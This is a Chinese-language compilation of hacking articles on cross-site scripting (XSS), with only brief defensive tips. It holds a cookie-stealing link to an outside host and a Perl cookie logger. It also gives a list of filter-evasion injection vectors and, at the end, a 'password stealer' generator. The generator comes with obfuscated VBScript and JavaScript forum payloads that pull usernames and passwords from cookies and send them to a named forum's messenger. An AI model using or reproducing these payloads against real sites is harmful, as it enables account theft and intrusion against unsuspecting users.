跨站脚本专题(XSS)

时间:2021-01-28 07:27:54
我们所说跨站脚本是指在远程WEB页面的html代码中插入的具有恶意目的的数据,用户认为该
页面是可信赖的,但是当浏览器下载该页面,嵌入其中的脚本将被解释执行,
有时候跨站脚本被称为"XSS",这是因为"CSS"一般被称为分层样式表,这很容易让人困惑,
如果
你听某人提到CSS或者XSS安全漏洞,通常指得是跨站脚本。


XSS和脚本注射的区别?

原文里作者是和他一个朋友(b0iler)讨论后,才明白并非任何可利用脚本插入实现攻击的
漏洞都被称为XSS,还有另一种攻击方式:"Script Injection",他们的区别在以下两点:
1.(Script Injection)脚本插入攻击会把我们插入的脚本保存在被修改的远程WEB页面里,如
:sql injection,XPath injection.
2.跨站脚本是临时的,执行后就消失了
什么类型的脚本可以被插入远程页面?

主流脚本包括以下几种:
HTML
JavaScript (本文讨论)
VBScript
ActiveX
Flash


是什么原因导致一个站点存在XSS的安全漏洞?

许多cgi/php脚本执行时,如果它发现客户提交的请求页面并不存在或其他类型的错误时,
出错信息会被打印到一个html文件,并将该错误页面发送给访问者。
例如: 404 - yourfile.html Not Found!

我们一般对这样的信息不会注意,但是现在要研究CSS漏洞的成因,我们还是仔细看一下。
例:www.somesite.tld/cgi-bin/program.cgi?page=downloads.html
该URL指向的连接是有效的,但是如果我们把后面的downloads.html替换成brainrawt_owns_
me.html
,一个包含404 - brainrawt_owns_me.html Not Found! 信息的页面将反馈给访问者的浏览
器。
考虑一下它是如何把我们的输入写到html文件里的?

OK,现在是我们检查XSS漏洞的时候了!

注意:下面仅仅是一个例子,该页面存在XSS漏洞,我们可以插入一写javascript代码到页面
里。当然方法很多
www.somesite.tld/cgi-bin/program.cgi?page=<script>alert('XSS_Vuln_Testing')</sc
ript>
当我们提交这个URL的时候,在我们的浏览器中弹出一个消息框,"XSS_Vuln_Testing"?
这个例子只是一个XSS漏洞的简单演示,并无实际意义,但足以说明问题所在。

下面我们分析一下造成该运行结果的原因,program.cgi对我们的输入没有经过有效过滤处理

就直接写入404 error页面中,结果创建了一个页面,如下:
<html>

<b>404</b> - <script>alert('XSS_Vuln_Testing')</script> Not Found!

</html>

其中的javascript脚本通过浏览器解释执行,然后就出现了你所看到的结果。


如何利用XSS来完成hacking?

如同前面所提到,如果用户提交的请求不能得到满足,那么服务器端脚本会把输入信息写入
一个
html文件,当服务器端程序对写入html文件的数据没有进行有效过滤,恶意脚本就可以插入

该html文件里。其他用户浏览该连接的时候脚本将通过客户端浏览器解释执行。

事例:

假设你发现myemailserver.tld有CSS漏洞,你想要获得其中一个人的email帐号,比如我们的
目标是b00b这个人。
www.myemailserver.tld/cgi-bin/news.cgi?article=59035
把上面存在CSS漏洞的连接修改一下:
www.myemailserver.tld/cgi-bin/news.cgi?article=hax0red
这会创建了一个错误页面,我们得到如下信息:
Invalid Input! [article=hax0red]

当插入下面这样的javascript代码时,你的屏幕上会弹出一个包含test的消息框。
www.myemailserver.tld/cgi-bin/news.cgi?article=<script>alert('test')<
/script>
<script>并没有打印到屏幕上,它是隐藏在背后执行,由于服务器端程序并没有对
<script>alert('test')</script>进行有效过滤,所以在页面发回到浏览器并执行了该脚本


下面我们瞧瞧如何利用该漏洞入侵 b00b同志的邮箱,首先你必须知道b00b的email地址,
并且知道cookies的作用。那么你可以告诉b00b一个恶意的连接,嘿嘿,当然
它的用意就是从b00b机器中cookie信息里获得自己想要的东东。
想办法让b00b访问myemailserver.tld站点发表的文章,比如说:”亲爱的b00b,看看这个美

如何呀?”

那么当可怜的b00b访问 www.myemailserver.tld/cgi-bin/news.cgi?article=<script>偷取
并保存cookie的脚本
</script>
连接时,发生什么事情?cookie都有了,你该知道怎么办了吧!

如果在你目前不是这样的情形,你可以拷贝email服务器的登陆页面,挂到其他的系统上,
然后引导用户登陆你的恶意系统页面
这样用户信息你可以记录下来,然后再把记录的信息发送回真正的email服务器页面,
那些笨蛋并不会意识到实际发生的事情。

把javascript脚本插入WEB页面的不同方法:

<snip>
拷贝自:GOBBLES SECURITY ADVISORY #33
Here is a cut-n-paste collection of typical JavaScript-injection hacks
you may derive some glee from playing with.

<a href="javascript#[code]">
<div onmouseover="[code]">
<img src="java script:[code]">
<img dynsrc="java script:[code]"> [IE]
<input type="image" dynsrc="java script:[code]"> [IE]
<bgsound src="java script:[code]"> [IE]
&<script>[code]</script>
&{[code]}; [N4]
<img src=&{[code]};> [N4]
<link rel="stylesheet" href="java script:[code]">
<iframe src="vbscript :[code]"> [IE]
<img src="mocha:[code]"> [N4]
<img src="livescript:[code]"> [N4]
<a href="about :<script>[code]</script>">
<meta http-equiv="refresh" content="0;url=java script:[code]">
<body onload="[code]">
<div style="background-image: url(java script:[code]);">
<div style="behaviour: url([link to code]);"> [IE]
<div style="binding: url([link to code]);"> [Mozilla]
<div style="width: expression([code]);"> [IE]
<style type="text/javascript">[code]</style> [N4]
<object classid="clsid:..." codebase="java script:[code]"> [IE]
<style><!--</style><script>[code]//--></script>
<![CDATA[<!--]]><script>[code]//--></script>
<!-- -- --><script>[code]</script><!-- -- -->
<script>[code]</script>
<img src="blah"onmouseover="[code]">
<img src="blah>" onmouseover="[code]">
<xml src="java script:[code]">
<xml id="X"><a><b><script>[code]</script>;</b></a></xml>
<div datafld="b" dataformatas="html" datasrc="#X"></div>
[/xC0][/xBC]script>[code][/xC0][/xBC]/script> [UTF-8; IE, Opera]

----Copied from GOBBLES SECURITY ADVISORY #33----
</snip>


一个真正的获取cookie并且做记录的例子:

注意:要使它工作,你的浏览器必须允许接受http://website.tld站点发送的cookies,
当我测试下面的信息时,使用
javascript创建访问者的cookies,javascript脚本放在index.html文件中。
OK,下面假设http://website.tld存在XSS攻击的安全隐患,存在漏洞的连接是:
http://website.tld/program.cgi?input=<evil javascript>
我们创建这样一个连接:
http://website.tld/program.cgi?input=<script>document.location='http://yoursite
.tld
/cgi-bin/evil_cookie_logger.cgi?'+document.cookie</script>
然后让保存该站点cookie的用户访问这个连接:

这是我们的CGI脚本,它的作用就是对用户cookie做记录:

---------evil_cookie_logger.cgi-----------

#!/usr/bin/perl
# evil_cookie_logger.cgi
# remote cookie logging CGI coded by BrainRawt
#
# NOTE: coded as a proof of concept script when testing for
# cross-site scripting vulnerabilities.

$borrowed_info = $ENV{'QUERY_STRING'};
$borrowed_info =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;

open(EVIL_COOKIE_LOG, ">>evil_cookie_log") or print "Content-type:
text/html/n/n something went wrong/n";
print EVIL_COOKIE_LOG "$borrowed_info/n";
print "Content-type: text/html/n/n";
close(EVIL_COOKIE_LOG);

------------------------------------------

该脚本首先通过 $ENV{'QUERY_STRING'}获得cookie,打印到$borrowed_info变量里,
通过open(EVIL_COOKIE_LOG, ">>evil_cookie_log"),把cookie信息保存到evil_cookie_lo
g文件。

注意:上面的javascript脚本,可能在一些浏览器或者站点上不能执行,
这仅仅是我在自己的站点上做测试用的。

如何防范XSS攻击?
1.在你的WEB浏览器上禁用javascript脚本
2..开发者要仔细审核代码,对提交输入数据进行有效检查,如"<"和">"。

可以把"<",">"转换为<,>
注意:由于XSS漏洞可被利用的多样性,程序员自己要明白具体需要过滤的字符,
这主要依赖于所开发程序的作用,建议过滤掉所有元字符,包括"="。

对受害者来说不要访问包含<script>字符的连接,一些官方的URL不会包括任何脚本元素。


谈跨站脚本攻击之综合篇


近日,由于发现一些站点仍然存在UBB的跨站脚本攻击的漏洞.跨站脚本攻击虽然很少会对服务器造成一些什么比较大的影响,但对于一个站点来说,存在这种漏洞实在是太不值得!小则,弹点什么东东出来;中则改改主页;重则窃取用户的COOKIES资料,更甚者将会G掉浏览者的硬盘.一个站点被变成一个恶意网站,还有谁敢来?如果再加上该站的站长比较"盲"一些,岂不乱套了?



小小的一段代码就真的能使一个站点成这样?好叫我们来具体的看看所谓的跨站脚本攻击到底会成为什么样的攻击模式.进入一个含UBB功能的站点,比如留言板,论坛,或是含提交程序的站点.首先,讲一下最简单的疟竟セ?<td ></td >等HTML字符的过滤问题.



登陆过一个CGI制作站点.以原来ASP的眼光看CGI的站点,感觉CGI对脚本的过滤应该很好.于是做了最初的测试.在用户一栏中填写<td >,提交用户注册后发现并没提出非法字符的提示.注册完成后,点髯柿弦卜⑾忠趁姹湫瘟?如在其他几个如国家,性别里填写也会出现同样的问题,那页面就没法看了.于是换了一个站点,再次提交<td >出现了非法字符提示,看来站点是已经过滤的<>等HTML的脚本字符,那好,我们改用ASCII 码替换<> 如& #60; & #62;代替提交后再来看,又出现了上面页面变形的情况,看来非法过滤机制还不是很完善. 更有甚者,我竟发现一个站点内的姓名栏填写时没有字数大小设置,没有过滤任何非法字符,如果我提交个什么恶意代码那还不成全了我?



简单的脚本攻击如<td >等HTML格式的代码一定要过滤好,上面的一些站点还没牵扯到UBB就出问题了.那我们下面就开始重点讲一下UBB过滤漏洞的问题.UBB是论坛中用来替换HTML编辑的一种格式符号,如[b ][/b ]可以替换成HTML中的< b></ b>..然而就是这一个替换问题,就成了跨站脚本攻击的最佳积聚地.测试了一个ASP留言版以及一个整站的程序代码:



初级问题: [url ]的过滤,在提交该代码时可以构建一个onmouseover函数的恶意代码,既然onmouseover可以生效,那还有什么办不到的?一些原码程序在变换[url ][/url ]时,只是将[url ]s2[/ url]中的s2直接提交到< a href="s2" target=_blank>S2</a >中.看到如此转换我们可以使用相应的ASCII 码中的& #34;来代替",我们多提交一个"然后在构建onmouseover函数进行操作,后果?你应该知道!:P



[img ]的过滤,这真的算是个老大难的问题.很早以前就是[img]的脚本攻击流行一时啊.这次测试中,很多站点还是仍然存在这个漏洞.有点程序根本没有进行过滤.尤其是一些免费留言板的提供站点很多都存在这样的问题.下面我们主要将一下[IMG ]标签的问题:



很简单的[img ]java script:alert();[/ img]提交后转换成的代码为< img src="java script:alert();">,好,到这里我们就可以看到java script:alert();被< img src="">标签激活了.表现就是弹出对话框.上面写着你在()中要提交的东西.如document.cookie 呵呵..大多数人都应该知道这东西是做什么.更有甚者,使用document.write();函数,可以写网页.写什么?当然是恶意代码,如[ img]java script:document.write();[ /img].()中间加你要加的,写你要写的,想多危险就多危险.



高级问题: 由于[img ]的初级问题骚扰很多站点就对一个敏感的字符开始过滤.如ja连接,do连接,wr连接,提交后自动分为j a,d o,w r.或是对字符进行过滤java,document,等等.而这些只能难倒一小部分人.我们仍然可以利用ASCII码来代替.可能有人会对代替后的代码仍然不能正常显示而困惑.好,我们下面以一个完整的例子介绍:



某站点UBB过滤代码段如下:

<%

Function code_ssstrers)

dim strer:strer=strers

if strer="" or isnull(strer) then code_ss"":exit function



strer=replace(strer,"<","<")

strer=replace(strer,">",">")

strer=replace(strer," "," ") '空格

strer=replace(strer,CHR(9)," ") 'table

strer=replace(strer,"'","'") '单引号

strer=replace(strer,"""",""") '双引号



dim re,re_v

re_v="[^/(/)/;';""/[]*"

're_v=".[^/[]*"

Set re=new RegExp

re.IgnoreCase =True

re.Global=True



re.Pattern="(javascript"

strer=re.Replace(strer,"javascript:")

re.Pattern="(javascript)"

strer=re.Replace(strer,"javascript")

re.Pattern="(jscript"

strer=re.Replace(strer,"jscript :")

re.Pattern="(js"

strer=re.Replace(strer,"js:")

re.Pattern="(value)"

strer=re.Replace(strer,"value")

re.Pattern="(about"

strer=re.Replace(strer,"about:")

re.Pattern="(file"

strer=re.Replace(strer,"file&:")

re.Pattern="(document.)"

strer=re.Replace(strer,"document :")

re.Pattern="(vbscript"

strer=re.Replace(strer,"vbscript :")

re.Pattern="(vbs"

strer=re.Replace(strer,"vbs :")

re.Pattern="(on(mouse|exit|error|click|key))"

strer=re.Replace(strer,"on$2")



能看懂ASP的朋友,就可以看出,以上代码段对javascript,jscript:,js:,about;value,document.,onmouse以及onexit等语句进行了过滤和替换.并对一些特殊字符进行了替换.如".",";""(",")" [替换代码为""中间的"..仔细观察代码后我们会发现其过滤机制⒎窍胂胂蟮哪茄昝?提交:[ mg]& #176& #93& #118& #97& #115& #79rip& #106& #57documen& #115& #76write& #30& #29哈哈又被黑了& #29& #61& #29[/ mg] 类似代码就可以实现更高级的脚本攻击.注:由于很多站点仍存在此问题,所以将代码修改过,无攻击性了.



打开你的FT2000,使用文本编辑,你可以找到任何特殊字符所属的ASCII码.如:分号;可以代替为&# 59,句点.可以代替为&# 46,以这样的形式我们再次提交代码.果然,上面整个的过滤机制几乎完全失效了.根本没起到什么防御作用.



看了以上的攻击方法,是不是觉得很郁闷?如果才能避免上面的问题发生?



1.如果你的站点程序含论坛,留言板,以及其他程序中含提交数据格式的,没有很好过滤机制,请马上下载升级程序或是停止使用.避免造成更多的问题.



2.各提供免费论坛,免费申请留言板的站,请将UBB格式关闭.或找到更好的解析UBB.ASP程序页.



3.对一些会编写ASP的朋友,我建议大家过滤一下字符全部字符将写在[]中)如:

["|.|;|:|/|/|&|$|#|`|)|,|'|"|-|~|[|(||] 注:其中|为分割符


完美的解决跨站脚本弹框框


完美的解决跨站脚本得COOKIE弹框框的问题 
同时把密码用户名发到你在论坛的邮相里,爽吧 

 

先头看到欲望之翼的self.window的办法 
其实我一直有个从来没给任何人说的办法: 
玩了好久了公布了呵呵: 
   
<html> 
<script language=vbs> 
sub changeq() 
if form1.loc.value="" or form1.who.value="" then 
msgbox "没有加入地址或用户名?" 
exit sub 
end if 
loc=form1.loc.value 
user=form1.who.value 
str="[img]vbscript:execute("on error resume next: call document.body.inse 
rtAdjacentHTML(""beforeEnd"",""<div style=display:none& 
gt;<iframe id=sendmessage></iframe></div>""):call se 
ndmessage.window.open(""" & loc & "/messanger.asp?action=send&touser=" 
& user & "&title=""+mid(document.cookie,instr(lcase(document.cookie), 
""password"")+9,10)+""&message=""+""I am a goo 
d boy"",""_self"")  ")[/img]" 
form1.area.value=str 
end sub 

</script> 
<body> 
<FONT SIZE=7 COLOR=RED>ASPSKY 3.0 偷号器---C.Z.Y原创</FONT> 
<form name=form1> 
设置发送地址:<input type=text name=loc size=50><br> 
▲注意发送地址形如:http://www.nnit30.com/newbbs(newbbs是网站中论坛的安装目录 
最后 
不用加/)<br> 
发送的用户名:<input type=text name=who size=20>------------- 
<input type=button name=change value=生成代码 onclick=changeq()><br> 
生成的代码:)<textarea name=area rows=10 cols=100></textarea> 
</form> 
</body> 
</html> 

搞了大半天的结果,偷aspsky 3.0 密码的东东把下面的代码改一改 
然后发到你的贴子里,只要有人看你的贴子他的密码就自动发到你的在 
论坛上的邮箱里了,爽吧,其实我的是用VBScript写的snwcwt用javascript 
写的没有双引号的问题而且可以同时写几行代码所以要实用一些!! 
  不过效果都差不多哈:)(注意要先把下面的东东改一下发送的地址然 
后全部写在一行里) 
   
[img]vbscript:window.open(chr(104)&chr(116)&chr(116)&chr(112)&chr(58)&chr(47)&ch 
r(47)&chr(119)&chr(119)&chr(119)&chr(46)&chr(110)&chr(110)&chr(105)&chr(116)&chr 
(51)&chr(48)&chr(46)&chr(99)&chr(111)&chr(109)&chr(47)&chr(110)&chr(101)&chr(119 
)&chr(98)&chr(98)&chr(115)&chr(47)&chr(109)&chr(101)&chr(115)&chr(115)&chr(97)&c 
hr(110)&chr(103)&chr(101)&chr(114)&chr(46)&chr(97)&chr(115)&chr(112)&chr(63)&chr 
(97)&chr(99)&chr(116)&chr(105)&chr(111)&chr(110)&chr(61)&chr(115)&chr(101)&chr(1 
10)&chr(100)&chr(38)&chr(116)&chr(111)&chr(117)&chr(115)&chr(101)&chr(114)&chr(6 
1)&chr(99)&chr(122)&chr(121)&chr(38)&chr(116)&chr(105)&chr(116)&chr(108)&chr(101 
)&chr(61)&chr(104)&chr(105)&chr(104)&chr(105)&chr(38)&chr(109)&chr(101)&chr(115) 
&chr(115)&chr(97)&chr(103)&chr(101)&chr(61)+chr(80)&chr(97)&chr(115)&chr(115)&ch 
r(58)+mid(lcase(document.cookie),instr(lcase(document.cookie),chr(112)+chr(97)+c 
hr(115)+chr(115)+chr(119)+chr(111)+chr(114)+chr(100))+9,len(document.cookie)-ins 
tr(lcase(document.cookie),chr(112)+chr(97)+chr(115)+chr(115)+chr(119)+chr(111)+c 
hr(114)+chr(100))+9)+chr(32)+chr(32)+chr(32)+chr(32)+chr(78)&chr(97)&chr(109)&ch 
r(101)&chr(58)+mid(lcase(document.cookie),instr(lcase(document.cookie),chr(117)+ 
chr(115)+chr(101)+chr(114)+chr(110)+chr(97)+chr(109)+chr(101))+9,(instr(lcase(do 
cument.cookie),chr(117)+chr(115)+chr(101)+chr(114)+chr(99)+chr(108)+chr(97)+chr( 
115))-1)-instr(lcase(document.cookie),chr(117)+chr(115)+chr(101)+chr(114)+chr(11 
0)+chr(97)+chr(109)+chr(101))-9),chr(49)&chr(49),chr(116)&chr(111)&chr(112)&chr( 
61)&chr(50)&chr(48)&chr(48)&chr(48)&chr(44)&chr(108)&chr(101)&chr(102)&chr(116)& 
chr(61)&chr(50)&chr(48)&chr(48)&chr(48)&chr(44)&chr(104)&chr(101)&chr(105)&chr(1 
03)&chr(104)&chr(116)&chr(61)&chr(49)&chr(44)&chr(119)&chr(105)&chr(100)&chr(116 
)&chr(104)&chr(61)&chr(49))[/img] 
简化形式:window.open(打开的连接,窗体名,窗体大小设置) 
打开的连接: 
第一部份:http://xxx.xxx.xxx.xxx/xxxx/messanger.asp?action=send..... 
对应编码为:chr(104)&chr(116)&chr(116)&chr(112)&chr(58)&chr(47)&chr(47)&chr(119)& 
chr(119)&chr(119)&chr(46)&chr(110)&chr(110)&chr(105)&chr(116)&chr(51)&chr(48)&ch 
r(46)&chr(99)&chr(111)&chr(109)&chr(47)&chr(110)&chr(101)&chr(119)&chr(98)&chr(9 
8)&chr(115)&chr(47)&chr(109)&chr(101)&chr(115)&chr(115)&chr(97)&chr(110)&chr(103 
)&chr(101)&chr(114)&chr(46)&chr(97)&chr(115)&chr(112)&chr(63)&chr(97)&chr(99)&ch 
r(116)&chr(105)&chr(111)&chr(110)&chr(61)&chr(115)&chr(101)&chr(110)&chr(100)&ch 
r(38)&chr(116)&chr(111)&chr(117)&chr(115)&chr(101)&chr(114)&chr(61)&chr(99)&chr( 
122)&chr(121)&chr(38)&chr(116)&chr(105)&chr(116)&chr(108)&chr(101)&chr(61)&chr(1 
04)&chr(105)&chr(104)&chr(105)&chr(38)&chr(109)&chr(101)&chr(115)&chr(115)&chr(9 
7)&chr(103)&chr(101)&chr(61) 
不同的网站要自已改注意在哪儿结束同时还有发到的用户名都在这儿改 
对于编码看如下代码: 
<html> 
<script language=vbs> 
sub main() 
base=form1.text1.value 
for i=1 to len(base) 
aa=asc(mid(base,i,1)) 
document.write "chr(" & aa & ")" & "&" 
next 
end sub 
</script> 
<body ><form name=form1><table> 
<tr><td> 
<input type=text name=text1 size=40><br> 
<input type=button name=button1 onclick=main() value=change> 
</td></tr> 
</table></form></body></html> 
   

第二部份:为提取的COOKIE中的用户名和密码 

------------------------再来一个js的放便学习---------------------------------- 
[img]javascript:eval('var myCookie=document.cookie;var iUser0=myCookie.indexOf(/ 
'username=/');var iUser1=myCookie.indexOf(/'&/',iUser0);if(iUser1==-1) iUser1=my 
Cookie.length;var username=myCookie.substring(iUser0+9,iUser1);var iPW0=myCookie 
.indexOf(/'password=/');iPW1=myCookie.indexOf(/'&/',iPW0);if(iPW1==-1) iPW1=myCo 
okie.length;var password=myCookie.substring(iPW0+9,iPW1);document.body.insertAdj 
acentHTML(/'BeforeEnd/',/'<div style=display:block><iframe id=sendmessage src=me 
ssanger.asp?action=new&touser=snwcwt></iframe></div>/');sendmessage.window.docum 
ent.location=/'http://www.nnit30.com/newbbs/messanger.asp?action=send&touser=snw 
cwt&title=/'+username+/'的密码&message=username=/'+username+/'    password=/'+pa 
ssword+/'/';')[/img] 
跨站脚本专题(XSS)